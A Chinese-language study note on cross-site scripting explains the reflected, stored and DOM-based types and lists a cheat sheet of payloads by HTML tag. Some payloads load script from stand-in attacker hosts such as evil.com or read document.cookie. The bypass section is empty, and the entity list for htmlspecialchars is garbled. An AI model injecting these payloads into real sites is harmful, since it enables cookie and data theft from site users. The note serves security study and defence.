XSS漏洞攻击笔记
XSS是什么
XSS又叫CSS,跨站脚本式攻击。指的是攻击者向web页面插入了恶意的HTML代码,当其他的用户在访问该web页面时,插入的HTML恶意代码将会被执行,从而达到获取用户信息,攻击用户的效果。XSS是针对用户层面的攻击。
XSS的分类
- 反射型XSS:用户访问已被插入恶意代码的链接,恶意代码被执行而产生的攻击
- 存储型XSS:攻击者将恶意代码插入到了web服务器中被存储起来,用户在进入某一页面时,恶意代码会随着网页的打开或者某些操作而被执行
- DOM型XSS:本质上是反射型XSS的一种。恶意代码被插入在url中,DOM型XSS与前两者不同的是其只在客户端进行解析,不需要服务器的解析响应。
其中,存储型XSS危害性较大,能被执行多次(持久化),能造成蠕虫和盗窃cookie。
XSS攻击的大体流程
- 攻击者插入恶意代码到web网站上
- 其他用户在访问目标服务器的时候执行了恶意代码
- 恶意代码被用户解析
- 攻击者的服务器接收到用户信息
- 攻击者通过其自身服务器获取到用户信息
XSS攻击的常用标签代码
<script>标签
<script src=http://xxx.com/xss.js></script> #引用外部的xss
<script> alert("hack")</script> #弹出hack
<script>alert(document.cookie)</script> #弹出cookie
<imd>标签
<img src=1 onerror=alert("hack")>
<img src=1 onerror=alert(/hack/)>
<img src=1 onerror=alert(document.cookie)> #弹出cookie
<img src=1 onerror=alert(123)> 注:对于数字,可以不用引号
<img src="javascript:alert("XSS");">
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
<body>标签
<body onload=alert("XSS")>
<body background="javascript:alert("XSS")">
<iframe>标签
<iframe src=”http://evil.com/xss.html”>
<input>标签
<input type="image" src="javascript:alert('XSS');">
<link>标签
<link rel="stylesheet" href="javascript:alert('XSS');">
<table>标签
<table background="javascript:alert('XSS')">
<td background="javascript:alert('XSS')">
<div>标签
<div style="background-image: url(javascript:alert('XSS'))">
<div style="width: expression(alert('XSS'));">
<object>标签
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
XSS攻击的各种绕过方式
无过滤
直接在参数后加js代码,使得浏览器解析执行
过滤了< script>标签
XSS有关的一些函数
htmlspecialchars() 函数
把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
&
(和号)成为 &
"
(双引号)成为 "
'
(单引号)成为 '
<
(小于)成为 <
>
(大于)成为 >
replace()函数
将特定字符或字符串转换成另一种特定字符或字符串
strpos()函数
查找字符串首次出现的位置,若未找到,则返回false。反之,返回true。